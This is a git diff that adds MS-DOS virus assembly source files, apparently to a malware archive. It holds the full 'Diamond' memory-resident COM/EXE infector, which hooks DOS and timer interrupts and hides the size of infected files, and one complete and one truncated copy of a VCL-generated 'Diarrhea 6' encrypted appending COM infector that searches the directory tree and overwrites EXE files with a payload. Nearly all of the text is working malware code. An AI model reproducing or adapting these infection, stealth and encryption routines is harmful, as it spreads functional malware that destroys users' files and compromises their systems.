--git a/MSDOS/Virus.MSDOS.Unknown.diamond.asm b/MSDOS/Virus.MSDOS.Unknown.diamond.asm new file mode 100644 index 00000000..9e64e7e3 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.diamond.asm @@ -0,0 +1,534 @@ + +; The Diamond Virus +; +; Version 2.10 +; +; also known as: +; V1024, V651, The EGN Virus +; +; Basic release: 5-Aug-1989 +; Last patch: 5-May-1990 +; +; COPYRIGHT: +; +; This program is (c) Copyright 1989,1990 Damage, Inc. +; Permission is granted to distribute this source provided the tittle page is +; preserved. +; Any fee can be charged for distribution of this source, however, Damage, Inc. +; distributes it freely. +; You are specially prohibited to use this program for military purposes. +; Damage, Inc. is not liable for any kind of damages resulting from the use of +; or the inability to use this software. +; +; To assemble this program use Turbo Assembler 1.0 + + .radix 16 + .model tiny + .code +code_len = top_code-main_entry +data_len = top_data-top_code +main_entry: + call locate_address +gen_count dw 0 +locate_address: + xchg ax,bp + cld + pop bx + inc word ptr cs:[bx] + mov ax,0d5aa + int 21 + cmp ax,2a03 + jz all_done + mov ax,sp + inc ax + mov cl,4 + shr ax,cl + inc ax + mov dx,ss + add ax,dx + mov dx,ds + dec dx + mov es,dx + xor di,di + mov cx,(top_data-main_entry-1)/10+1 + mov dx,[di+2] + sub dx,cx + cmp dx,ax + jc all_done + cli + sub es:[di+3],cx + mov [di+2],dx + mov es,dx + lea si,[bx+main_entry-gen_count] + mov cx,top_code-main_entry + rep + db 2e + movsb + push ds + mov ds,cx + mov si,20 + lea di,[di+old_vector-top_code] + org $-1 + mov ax,offset dos_handler + xchg ax,[si+64] + stosw + mov ax,es + xchg ax,[si+66] + stosw + mov ax,offset time_handler + xchg ax,[si] + stosw + xchg ax,dx + xchg ax,[si+2] + stosw + mov ax,24 + stosw + pop ds + push ds + pop es + sti +all_done: + lea si,[bx+exe_header-gen_count] + db 2e + lodsw + cmp ax,'ZM' + jz exit_exe + mov di,100 + push di + stosw + movsb + xchg ax,bp + ret +exit_exe: + mov dx,ds + add dx,10 + add cs:[si+return_address+2-exe_header-2],dx + org $-1 + add dx,cs:[si+stack_offset+2-exe_header-2] + org $-1 + mov ss,dx + mov sp,cs:[si+stack_offset-exe_header-2] + org $-1 + xchg ax,bp + jmp dword ptr cs:[si+return_address-exe_header-2] + org $-1 +infect: + mov dx,offset exe_header + mov cx,top_header-exe_header + mov ah,3f + int 21 + jc do_exit + sub cx,ax + jnz go_error + mov di,offset exe_header + les ax,[di+ss_offset-exe_header] + org $-1 + mov [di+stack_offset-exe_header],es + org $-1 + mov [di+stack_offset+2-exe_header],ax + org $-1 + les ax,[di+ip_offset-exe_header] + org $-1 + mov [di+return_address-exe_header],ax + org $-1 + mov [di+return_address+2-exe_header],es + org $-1 + mov dx,cx + mov ax,4202 + int 21 + jc do_exit + mov [di+file_size-exe_header],ax + org $-1 + mov [di+file_size+2-exe_header],dx + org $-1 + mov cx,code_len + cmp ax,cx + sbb dx,0 + jc do_exit + xor dx,dx + mov si,'ZM' + cmp si,[di] + jz do_put_image + cmp [di],'MZ' + jz do_put_image + cmp ax,0fe00-code_len + jc put_image +go_error: + stc +do_exit: + ret +do_put_image: + cmp dx,[di+max_size-exe_header] + org $-1 + jz go_error + mov [di],si +put_image: + mov ah,40 + int 21 + jc do_exit + sub cx,ax + jnz go_error + mov dx,cx + mov ax,4200 + int 21 + jc do_exit + mov ax,[di+file_size-exe_header] + org $-1 + cmp [di],'ZM' + jnz com_file + mov dx,[di+file_size-exe_header+2] + org $-1 + mov cx,4 + push di + mov si,[di+header_size-exe_header] + org $-1 + xor di,di +shift_size: + shl si,1 + rcl di,1 + loop shift_size + sub ax,si + sbb dx,di + pop di + mov cl,0c + shl dx,cl + mov [di+ip_offset-exe_header],ax + org $-1 + mov [di+cs_offset-exe_header],dx + org $-1 + add dx,(code_len+data_len+100-1)/10+1 + org $-1 + mov [di+sp_offset-exe_header],ax + org $-1 + mov [di+ss_offset-exe_header],dx + org $-1 + add word ptr [di+min_size-exe_header],(data_len+100-1)/10+1 + org $-2 + mov ax,[di+min_size-exe_header] + org $-1 + cmp ax,[di+max_size-exe_header] + org $-1 + jc adjust_size + mov [di+max_size-exe_header],ax + org $-1 +adjust_size: + mov ax,[di+last_page-exe_header] + org $-1 + add ax,code_len + push ax + and ah,1 + mov [di+last_page-exe_header],ax + org $-1 + pop ax + mov cl,9 + shr ax,cl + add [di+page_count-exe_header],ax + org $-1 + jmp short put_header +com_file: + sub ax,3 + mov byte ptr [di],0e9 + mov [di+1],ax +put_header: + mov dx,offset exe_header + mov cx,top_header-exe_header + mov ah,40 + int 21 + jc error + cmp ax,cx + jz reset +error: + stc +reset: + ret +find_file: + pushf + push cs + call calldos + test al,al + jnz cant_find + push ax + push bx + push es + mov ah,51 + int 21 + mov es,bx + cmp bx,es:[16] + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2f + int 21 + pop ax + inc al + jnz fcb_standard + add bx,7 +fcb_standard: + mov ax,es:[bx+17] + and ax,1f + xor al,1e + jnz not_infected + and byte ptr es:[bx+17],0e0 + sub es:[bx+1dh],code_len + sbb es:[bx+1f],ax +not_infected: + pop es + pop bx + pop ax +cant_find: + iret +dos_handler: + cmp ah,4bh + jz exec + cmp ah,11 + jz find_file + cmp ah,12 + jz find_file + cmp ax,0d5aa + jnz calldos + not ax +fail: + mov al,3 + iret +exec: + cmp al,2 + jnc calldos + push ds + push es + push ax + push bx + push cx + push dx + push si + push di + mov ax,3524 + int 21 + push es + push bx + mov ah,25 + push ax + push ds + push dx + push cs + pop ds + mov dx,offset fail + int 21 + pop dx + pop ds + mov ax,4300 + int 21 + jc exit + test cl,1 + jz open + dec cx + mov ax,4301 + int 21 +open: + mov ax,3d02 + int 21 + jc exit + xchg ax,bx + mov ax,5700 + int 21 + jc close + mov al,cl + or cl,1f + dec cx + xor al,cl + jz close + push cs + pop ds + push cx + push dx + call infect + pop dx + pop cx + jc close + mov ax,5701 + int 21 +close: + mov ah,3e + int 21 +exit: + pop ax + pop dx + pop ds + int 21 + pop di + pop si + pop dx + pop cx + pop bx + pop ax + pop es + pop ds +calldos: + jmp cs:[old_vector] + .radix 10 +adrtbl dw 1680,1838,1840,1842,1996,1998,2000,2002,2004,2154,2156 + dw 2158,2160,2162,2164,2166,2316,2318,2320,2322,2324,2478 + dw 2480,2482,2640 +diftbl dw -324,-322,-156,158,-318,-316,318,156,162,316,164,-322 + dw -162,-322,322,322,-324,-158,164,316,-324,324,-316,-164 + dw 324 +valtbl dw 3332,3076,3076,3076,3588,3588,3588,3588,3588,3844,3844 + dw 3844,3844,3844,3844,3844,2564,2564,2564,2564,2564,2820 + dw 2820,2820,2308 +xlatbl dw -324,316,-164,156,-322,318,-162,158,-318,322,-158,162 + dw -316,324,-156,164 + .radix 16 +time_handler: + push ds + push es + push ax + push bx + push cx + push dx + push si + push di + push cs + pop ds + cld + mov dx,3da + mov cx,19 + mov si,offset count + mov ax,[si] + test ah,ah + jnz make_move + mov al,ah + mov es,ax + cmp al,es:[46dh] + jnz exit_timer + mov ah,0f + int 10 + cmp al,2 + jz init_diamond + cmp al,3 + jnz exit_timer +init_diamond: + inc byte ptr [si+1] + sub bl,bl + add bh,0b8 + mov [si+2],bx + mov es,bx +wait_snow: + in al,dx + test al,8 + jz wait_snow + mov si,offset valtbl +build_diamond: + mov di,[si+adrtbl-valtbl] + movsw + loop build_diamond +exit_timer: + pop di + pop si + pop dx + pop cx + pop bx + pop ax + pop es + pop ds + jmp cs:[old_timer] +count_down: + dec byte ptr [si] + jmp exit_timer +make_move: + test al,al + jnz count_down + inc byte ptr [si] + mov si,offset adrtbl +make_step: + push cx + push cs + pop es + lodsw + mov bx,ax + sub ax,140 + cmp ax,0d20 + jc no_xlat + test ax,ax + mov ax,[si+diftbl-adrtbl-2] + jns test_xlat + test ax,ax + js do_xlat + jmp short no_xlat +test_xlat: + test ax,ax + js no_xlat +do_xlat: + mov di,offset xlatbl + mov cx,10 + repnz scasw + dec di + dec di + xor di,2 + mov ax,[di] + mov [si+diftbl-adrtbl-2],ax +no_xlat: + mov ax,[si-2] + add ax,[si+diftbl-adrtbl-2] + mov [si-2],ax + mov cx,19 + mov di,offset adrtbl +lookup: + jcxz looked_up + repnz scasw + jnz looked_up + cmp si,di + jz lookup + mov [si-2],bx + mov ax,[si+diftbl-adrtbl-2] + xchg ax,[di+diftbl-adrtbl-2] + mov [si+diftbl-adrtbl-2],ax + jmp lookup +looked_up: + mov es,[homeadr] + mov di,bx + xor bx,bx + call out_char + mov di,[si-2] + mov bx,[si+valtbl-adrtbl-2] + call out_char + pop cx + loop make_step + jmp exit_timer +out_char: + in al,dx + test al,1 + jnz out_char +check_snow: + in al,dx + test al,1 + jz check_snow + xchg ax,bx + stosw + ret +stack_offset dd ? +return_address dd ? + db '7106286813' +exe_header: int 20 +last_page: nop +top_code: + db ? +page_count dw ? + dw ? +header_size dw ? +min_size dw ? +max_size dw ? +ss_offset dw ? +sp_offset dw ? + dw ? +ip_offset dw ? +cs_offset dw ? +top_header: +file_size dd ? +old_vector dd ? +old_timer dd ? +count db ? +flag db ? +homeadr dw ? +top_data: + end + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.diarrh-b.asm b/MSDOS/Virus.MSDOS.Unknown.diarrh-b.asm new file mode 100644 index 00000000..fe2d79a8 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.diarrh-b.asm @@ -0,0 +1,452 @@ +; DIARRHE6.ASM -- DIARRHEA 6 +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by URNST KOUCH + +virus_type equ 0 ; Appending Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + + call search_files ; Find and infect a file + call search_files ; Find and infect another file + lea dx,[di + data00] ; DX points to data + lea si,[di + data01] ; SI points to data + push di ; Save DI + mov ah,02Fh ; DOS get DTA function + int 021h + mov di,bx ; DI points to DTA + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + int 021h + jc create_file ; If not found then create it +write_in_file: mov ax,04301h ; DOS set file attributes function + xor cx,cx ; File will have no attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ax,03D01h ; DOS open file function, write + lea dx,[di + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; Transfer file handle to AX + mov ah,040h ; DOS write to file function + mov cx,[si] ; CX holds number of byte to write + lea dx,[si + 2] ; DX points to the data + int 021h + mov ax,05701h ; DOS set file date/time function + mov cx,[di + 016h] ; CX holds old file time + mov dx,[di + 018h] ; DX holds old file data + int 021h + mov ah,03Eh ; DOS close file function + int 021h + mov ax,04301h ; DOS set file attributes function + xor ch,ch ; Clear CH for attributes + mov cl,[di + 015h] ; CL holds old attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc write_in_file ; If successful do next file + jmp short dropper_end ; Otherwise exit +create_file: mov ah,03Ch ; DOS create file function + xor cx,cx ; File has no attributes + int 021h + xchg bx,ax ; Transfer file handle to AX + mov ah,040h ; DOS write to file function + mov cx,[si] ; CX holds number of byte to write + lea dx,[si + 2] ; DX points to the data + int 021h + mov ah,03Eh ; DOS close file function + int 021h +dropper_end: pop di ; Restore DI + + +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + lea dx,[di + root] ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + lea dx,[di + all_files] ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + lea dx,[di + up_dir] ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + lea dx,[di + com_mask] ; DX points to "*.COM" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +com_mask db "*.COM",0 ; Mask for all .COM files +traverse endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + +data00 db "*.EXE",0 + +data01 dw 254h + db 0EBh, 03Dh, 090h, 000h, 064h, 001h, 002h, 000h + db 000h, 054h, 068h, 065h, 044h, 072h, 061h, 077h + db 020h, 043h, 04Fh, 04Dh, 020h, 066h, 069h, 06Ch + db 065h, 020h, 053h, 063h, 072h, 065h, 065h, 06Eh + db 020h, 053h, 061h, 076h, 065h, 01Ah, 055h, 06Eh + db 073h, 075h, 070h, 070h, 06Fh, 072h, 074h, 065h + db 064h, 020h, 056h, 069h, 064h, 065h, 06Fh, 020h + db 04Dh, 06Fh, 064h, 065h, 00Dh, 00Ah, 024h, 0B4h + db 00Fh, 0CDh, 010h, 0BBh, 000h, 0B8h, 03Ch, 002h + db 074h, 018h, 03Ch, 003h, 074h, 014h, 0C6h, 006h + db 003h, 001h, 000h, 0BBh, 000h, 0B0h, 03Ch, 007h + db 074h, 008h, 0BAh, 026h, 001h, 0B4h, 009h, 0CDh + db 021h, 0C3h, 08Eh, 0C3h, 08Bh, 03Eh, 007h, 001h + db 0BEh, 0F0h, 001h, 0BAh, 0DAh, 003h, 0B3h, 009h + db 08Bh, 00Eh, 004h, 001h, 0FCh, 033h, 0C0h, 0ACh + db 03Ch, 01Bh, 075h, 005h, 080h, 0F4h, 080h, 0EBh + db 06Ah, 03Ch, 010h, 073h, 007h, 080h, 0E4h, 0F0h + db 00Ah, 0E0h, 0EBh, 05Fh, 03Ch, 018h, 074h, 013h + db 073h, 01Fh, 02Ch, 010h, 002h, 0C0h, 002h, 0C0h + db 002h, 0C0h, 002h, 0C0h, 080h, 0E4h, 08Fh, 00Ah + db 0E0h, 0EBh, 048h, 08Bh, 03Eh, 007h, 001h, 081h + db 0C7h, 0A0h, 000h, 089h, 03Eh, 007h, 001h, 0EBh + db 03Ah, 08Bh, 0E9h, 0B9h, 001h, 000h, 03Ch, 019h + db 075h, 008h, 0ACh, 08Ah, 0C8h, 0B0h, 020h, 04Dh + db 0EBh, 00Ah, 03Ch, 01Ah, 075h, 007h, 0ACh, 04Dh + db 08Ah, 0C8h, 0ACh, 04Dh, 041h, 080h, 03Eh, 003h + db 001h, 000h, 074h, 013h, 08Ah, 0F8h, 0ECh, 0D0h + db 0D8h, 072h, 0FBh, 0ECh, 022h, 0C3h, 075h, 0FBh + db 08Ah, 0C7h, 0ABh, 0E2h, 0F1h, 0EBh, 002h, 0F3h + db 0ABh, 08Bh, 0CDh, 0E3h, 002h, 0E2h, 088h, 0C3h + db 00Fh, 010h, 019h, 04Fh, 018h, 019h, 04Fh, 018h + db 019h, 04Fh, 018h, 019h, 003h, 009h, 01Bh, 0DAh + db 01Ah, 044h, 0C4h, 0BFh, 019h, 004h, 018h, 019h + db 003h, 0B3h, 00Ch, 01Bh, 0D2h, 0C4h, 0C4h, 0BFh + db 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h, 0D6h, 0C4h + db 0D2h, 0C4h, 0BFh, 020h, 020h, 0D6h, 0C4h, 0D2h + db 0C4h, 0BFh, 020h, 0D2h, 020h, 020h, 0C2h, 020h + db 020h, 0D2h, 0C4h, 0C4h, 0BFh, 020h, 0C4h, 0D2h + db 0C4h, 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h, 0D2h + db 0C4h, 0C4h, 0BFh, 020h, 0D2h, 0C4h, 0C4h, 0BFh + db 020h, 0D2h, 020h, 020h, 0C2h, 020h, 0D2h, 0C4h + db 0C4h, 0BFh, 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h + db 0D2h, 009h, 01Bh, 0B3h, 019h, 004h, 018h, 019h + db 003h, 0B3h, 00Ch, 01Bh, 0C7h, 0C4h, 019h, 002h + db 0C7h, 0C4h, 0C4h, 0B4h, 019h, 002h, 0BAh, 019h + db 003h, 0BAh, 020h, 0BAh, 020h, 0B3h, 020h, 0D3h + db 0C4h, 0C4h, 0B4h, 020h, 020h, 0BAh, 020h, 020h + db 0B3h, 020h, 020h, 0BAh, 020h, 020h, 0C7h, 0C4h + db 0C4h, 0B4h, 020h, 0C7h, 0C4h, 0C2h, 0D9h, 020h + db 0C7h, 0C4h, 0C2h, 0D9h, 020h, 0C7h, 0C4h, 0C4h + db 0B4h, 020h, 0C7h, 0C4h, 019h, 002h, 0C7h, 0C4h + db 0C4h, 0B4h, 020h, 0BAh, 009h, 01Bh, 0B3h, 019h + db 004h, 018h, 019h, 003h, 0B3h, 00Ch, 01Bh, 0D0h + db 0C4h, 0C4h, 0D9h, 020h, 0D0h, 020h, 020h, 0C1h + db 019h, 002h, 0D0h, 019h, 003h, 0D0h, 020h, 0D0h + db 020h, 0C1h, 020h, 0D3h, 0C4h, 0C4h, 0D9h, 020h + db 020h, 0D0h, 0C4h, 0C4h, 0D9h, 020h, 0C4h, 0D0h + db 0C4h, 020h, 0D0h, 020h, 020h, 0C1h, 020h, 0D0h + db 020h, 0C1h, 020h, 020h, 0D0h, 020h, 0C1h, 020h + db 020h, 0D0h, 020h, 020h, 0C1h, 020h, 0D0h, 0C4h + db 0C4h, 0D9h, 020h, 0D0h, 020h, 020h, 0C1h, 020h + db 06Fh, 009h, 01Bh, 0B3h, 019h, 004h, 018h, 019h + db 003h, 0B3h, 019h, 014h, 00Eh, 01Bh, 02Dh, 02Dh + db 047h, 047h, 020h, 041h, 06Ch, 06Ch, 069h, 06Eh + db 020h, 026h, 020h, 054h, 068h, 065h, 020h, 054h + db 065h, 078h, 061h, 073h, 020h, 04Eh, 061h, 07Ah + db 069h, 073h, 019h, 013h, 009h, 01Bh, 0B3h, 019h + db 004h, 018h, 019h, 003h, 0C0h, 01Ah, 044h, 0C4h + db 0D9h, 019h, 004h, 018h, 019h, 04Fh, 018h, 019h + db 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h + db 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh + db 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h + db 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h + db 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh + db 018h, 019h, 04Fh, 018h + +vcl_marker db "[VCL]",0 ; VCL creation marker + +encrypt_code proc near + push bp ; Save BP + mov bp,di ; Use BP as pointer to code + lea si,[bp + encrypt_decrypt]; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 9],dx ; Low word of timer is new key + + xor byte ptr [si + 1],8 ; + xor byte ptr [si + 8],1 ; Change all SIs to DIs + xor word ptr [si + 11],0101h; (and vice-versa) + + lea di,[bp + finish] ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + lea si,[bp + write_stuff] ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + lea dx,[bp + start] ; DX points to virus + + lea si,[bp + finish] ; SI points to routine + call si ; Encrypt/write/decrypt + + mov di,bp ; DI points to virus again + pop bp ; Restore BP + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + lea si,[bp + start_of_code] ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main diff --git a/MSDOS/Virus.MSDOS.Unknown.diarrh-c.asm b/MSDOS/Virus.MSDOS.Unknown.diarrh-c.asm new file mode 100644 index 00000000..65296a2b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.diarrh-c.asm @@ -0,0 +1,427 @@ +; DIARRHE6.ASM -- DIARRHEA 6 +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by URNST KOUCH + +virus_type equ 0 ; Appending Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + + call search_files ; Find and infect a file + call search_files ; Find and infect another file + lea dx,[di + data00] ; DX points to data + lea si,[di + data01] ; SI points to data + push di ; Save DI + mov ah,02Fh ; DOS get DTA function + int 021h + mov di,bx ; DI points to DTA + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + int 021h + jc create_file ; If not found then create it +write_in_file: mov ax,04301h ; DOS set file attributes function + xor cx,cx ; File will have no attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ax,03D01h ; DOS open file function, write + lea dx,[di + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; Transfer file handle to AX + mov ah,040h ; DOS write to file function + mov cx,[si] ; CX holds number of byte to write + lea dx,[si + 2] ; DX points to the data + int 021h + mov ax,05701h ; DOS set file date/time function + mov cx,[di + 016h] ; CX holds old file time + mov dx,[di + 018h] ; DX holds old file data + int 021h + mov ah,03Eh ; DOS close file function + int 021h + mov ax,04301h ; DOS set file attributes function + xor ch,ch ; Clear CH for attributes + mov cl,[di + 015h] ; CL holds old attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc write_in_file ; If successful do next file + jmp short dropper_end ; Otherwise exit +create_file: mov ah,03Ch ; DOS create file function + xor cx,cx ; File has no attributes + int 021h + xchg bx,ax ; Transfer file handle to AX + mov ah,040h ; DOS write to file function + mov cx,[si] ; CX holds number of byte to write + lea dx,[si + 2] ; DX points to the data + int 021h + mov ah,03Eh ; DOS close file function + int 021h +dropper_end: pop di ; Restore DI + + +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + lea dx,[di + root] ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + lea dx,[di + all_files] ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf 